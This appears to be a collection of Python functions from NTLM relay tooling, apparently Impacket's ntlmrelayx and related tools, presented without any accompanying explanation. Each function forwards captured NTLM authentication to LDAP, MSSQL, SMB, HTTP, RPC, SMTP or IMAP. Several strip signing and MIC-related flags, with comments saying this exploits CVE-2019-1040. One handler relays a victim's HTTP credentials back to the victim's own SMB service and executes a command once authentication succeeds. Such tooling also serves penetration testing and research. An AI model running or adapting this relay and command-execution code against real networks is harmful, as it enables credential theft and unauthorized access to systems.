def sendNegotiate(self, negotiateMessage): #Remove the message signing flag #For LDAP this is required otherwise it triggers LDAP signing negoMessage = NTLMAuthNegotiate() negoMessage.fromString(negotiateMessage) #negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN self.negotiateMessage = str(negoMessage) with self.session.connection_lock: if not self.session.sasl_in_progress: self.session.sasl_in_progress = True request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY') response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) result = response[0] try: sicily_packages = result['server_creds'].decode('ascii').split(';') except KeyError: raise LDAPRelayClientException('Could not discover authentication methods, server replied: %s' % result) if 'NTLM' in sicily_packages: # NTLM available on server request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) response = self.session.post_send_single_response(self.session.send('bindRequest', request, None)) result = response[0] if result['result'] == RESULT_SUCCESS: challenge = NTLMAuthChallenge() challenge.fromString(result['server_creds']) return challenge else: raise LDAPRelayClientException('Server did not offer NTLM authentication!')
def sendNegotiate(self,negotiateMessage): #Also partly copied from tds.py login = TDS_LOGIN() login['HostName'] = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le') login['AppName'] = (''.join([random.choice(string.ascii_letters) for _ in range(8)])).encode('utf-16le') login['ServerName'] = self.server.encode('utf-16le') login['CltIntName'] = login['AppName'] login['ClientPID'] = random.randint(0,1024) login['PacketSize'] = self.packetSize login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON | TDS_INTEGRATED_SECURITY_ON # NTLMSSP Negotiate login['SSPI'] = negotiateMessage login['Length'] = len(login.getData()) # Send the NTLMSSP Negotiate self.sendTDS(TDS_LOGIN7, login.getData()) # According to the specs, if encryption is not required, we must encrypt just # the first Login packet :-o if self.resp['Encryption'] == TDS_ENCRYPT_OFF: self.tlsSocket = None tds = self.recvTDS() self.sessionData['NTLM_CHALLENGE'] = tds challenge = NTLMAuthChallenge() challenge.fromString(tds['Data'][3:]) #challenge.dump() return challenge
def sendNegotiate(self, negotiateMessage): negoMessage = NTLMAuthNegotiate() negoMessage.fromString(negotiateMessage) # When exploiting CVE-2019-1040, remove flags if self.serverConfig.remove_mic: if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION negotiateMessage = negoMessage.getData() challenge = NTLMAuthChallenge() if self.session.getDialect() == SMB_DIALECT: challenge.fromString(self.sendNegotiatev1(negotiateMessage)) else: challenge.fromString(self.sendNegotiatev2(negotiateMessage)) self.negotiateMessage = negotiateMessage self.challengeMessage = challenge.getData() # Store the Challenge in our session data dict. It will be used by the SMB Proxy self.sessionData['CHALLENGE_MESSAGE'] = challenge self.serverChallenge = challenge['challenge'] return challenge
def sendNegotiate(self,negotiateMessage): #Check if server wants auth self.session.request('GET', self.path) res = self.session.getresponse() res.read() if res.status != 401: LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status) try: if 'NTLM' not in res.getheader('WWW-Authenticate'): LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) return False except (KeyError, TypeError): LOG.error('No authentication requested by the server for url %s' % self.targetHost) return False #Negotiate auth negotiate = base64.b64encode(negotiateMessage) headers = {'Authorization':'NTLM %s' % negotiate} self.session.request('GET', self.path ,headers=headers) res = self.session.getresponse() res.read() try: serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) serverChallenge = base64.b64decode(serverChallengeBase64) challenge = NTLMAuthChallenge() challenge.fromString(serverChallenge) return challenge except (IndexError, KeyError, AttributeError): LOG.error('No NTLM challenge returned from server')
def sendNegotiate(self, auth_data): bindResp = self.session.sendBindType1(self.endpoint_uuid, auth_data) challenge = NTLMAuthChallenge() challenge.fromString(bindResp['auth_data']) return challenge
def do_OPTIONS(self): messageType = 0 if self.headers.getheader('Authorization') is None: self.do_AUTHHEAD(message='NTLM') pass else: # constants.isRunning = True typeX = self.headers.getheader('Authorization') try: _, blob = typeX.split('NTLM') token = base64.b64decode(blob.strip()) except: self.do_AUTHHEAD() messageType = unpack( '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0] if messageType == 1: self.target = self.client_address[0] try: self.client = SMBClient(self.target, extended_security=True) self.client.set_timeout(60) except Exception, e: print "Connection against target %s FAILED" % self.target print str(e) clientChallengeMessage = self.client.sendNegotiate(token) self.challengeMessage = NTLMAuthChallenge() self.challengeMessage.fromString(clientChallengeMessage) self.do_AUTHHEAD(message='NTLM ' + base64.b64encode(clientChallengeMessage))
def do_OPTIONS(self): messageType = 0 if self.headers.getheader('Authorization') is None: self.do_AUTHHEAD(message = 'NTLM') pass else: # constants.isRunning = True typeX = self.headers.getheader('Authorization') try: _, blob = typeX.split('NTLM') token = base64.b64decode(blob.strip()) except: self.do_AUTHHEAD() messageType = unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0] if messageType == 1: self.target = self.client_address[0] try: self.client = SMBClient(self.target, extended_security = True) self.client.set_timeout(60) except Exception as e: print("Connection against target %s FAILED" % self.target) print(str(e)) clientChallengeMessage = self.client.sendNegotiate(token) self.challengeMessage = NTLMAuthChallenge() self.challengeMessage.fromString(clientChallengeMessage) self.do_AUTHHEAD(message = 'NTLM '+ base64.b64encode(clientChallengeMessage)) elif messageType == 3: authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(token) respToken2 = SPNEGO_NegTokenResp() respToken2['ResponseToken'] = str(token) clientResponse, errorCode = self.client.sendAuth(self.challengeMessage['challenge'], respToken2.getData()) if errorCode != STATUS_SUCCESS: # print("[-] Authenticating against %s FAILED" % self.target) self.do_AUTHHEAD('NTLM') constants.authentication_succeed = False else: # print("[+] Authentication SUCCEED") constants.authentication_succeed = True executeCmd = doAttack(self.client, self.server.command) constants.outputCmd = executeCmd.run() constants.smb_client = self.client # And answer 404 not found self.send_response(404) self.send_header('WWW-Authenticate', 'NTLM') self.send_header('Content-type', 'text/html') self.send_header('Content-Length','0') self.end_headers() self.server.server_close() self.server.shutdown()
def sendNegotiate(self, negotiateMessage): negoMessage = NTLMAuthNegotiate() negoMessage.fromString(negotiateMessage) # When exploiting CVE-2019-1040, remove message signing flag # For SMB->LDAP this is required otherwise it triggers LDAP signing # Changing flags breaks the signature unless the client uses a non-standard implementation of NTLM if self.serverConfig.remove_mic: if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN self.negotiateMessage = negoMessage.getData() # Warn if the relayed target requests signing, which will break our attack if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: LOG.warning( 'The client requested signing. Relaying to LDAP will not work! (This usually happens when relaying from SMB to LDAP)' ) with self.session.connection_lock: if not self.session.sasl_in_progress: self.session.sasl_in_progress = True request = bind.bind_operation(self.session.version, 'SICILY_PACKAGE_DISCOVERY') response = self.session.post_send_single_response( self.session.send('bindRequest', request, None)) result = response[0] try: sicily_packages = result['server_creds'].decode( 'ascii').split(';') except KeyError: raise LDAPRelayClientException( 'Could not discover authentication methods, server replied: %s' % result) if 'NTLM' in sicily_packages: # NTLM available on server request = bind.bind_operation(self.session.version, 'SICILY_NEGOTIATE_NTLM', self) response = self.session.post_send_single_response( self.session.send('bindRequest', request, None)) result = response[0] if result['result'] == RESULT_SUCCESS: challenge = NTLMAuthChallenge() challenge.fromString(result['server_creds']) return challenge else: raise LDAPRelayClientException( 'Server did not offer NTLM authentication!')
def sendNegotiate(self, auth_data): negoMessage = NTLMAuthNegotiate() negoMessage.fromString(auth_data) if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SEAL == 0: negoMessage['flags'] |= NTLMSSP_NEGOTIATE_SEAL self.negotiateMessage = negoMessage.getData() bindResp = self.session.sendBindType1(self.endpoint_uuid, self.negotiateMessage) self.challenge = NTLMAuthChallenge() self.challenge.fromString(bindResp['auth_data']) return self.challenge
def sendNegotiate(self, negotiateMessage): negotiate = NTLMAuthNegotiate() negotiate.fromString(negotiateMessage) #Remove the signing flag negotiate['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN challenge = NTLMAuthChallenge() if self.session.getDialect() == SMB_DIALECT: challenge.fromString(self.sendNegotiatev1(negotiateMessage)) else: challenge.fromString(self.sendNegotiatev2(negotiateMessage)) # Store the Challenge in our session data dict. It will be used by the SMB Proxy self.sessionData['CHALLENGE_MESSAGE'] = challenge return challenge
def sendNegotiate(self,negotiateMessage): negotiate = base64.b64encode(negotiateMessage) self.session.putcmd('AUTH NTLM') code, resp = self.session.getreply() if code != 334: LOG.error('SMTP Client error, expected 334 NTLM supported, got %d %s ' % (code, resp)) return False else: self.session.putcmd(negotiate) try: code, serverChallengeBase64 = self.session.getreply() serverChallenge = base64.b64decode(serverChallengeBase64) challenge = NTLMAuthChallenge() challenge.fromString(serverChallenge) return challenge except (IndexError, KeyError, AttributeError): LOG.error('No NTLM challenge returned from SMTP server') raise
def sendNegotiate(self, negotiateMessage): negotiate = base64.b64encode(negotiateMessage) self.session.send('%s AUTHENTICATE NTLM%s' % (self.authTag, imaplib.CRLF)) resp = self.session.readline().strip() if resp != '+': LOG.error('IMAP Client error, expected continuation (+), got %s ' % resp) return False else: self.session.send(negotiate + imaplib.CRLF) try: serverChallengeBase64 = self.session.readline().strip()[ 2:] #first two chars are the continuation and space char serverChallenge = base64.b64decode(serverChallengeBase64) challenge = NTLMAuthChallenge() challenge.fromString(serverChallenge) return challenge except (IndexError, KeyError, AttributeError): LOG.error('No NTLM challenge returned from IMAP server') raise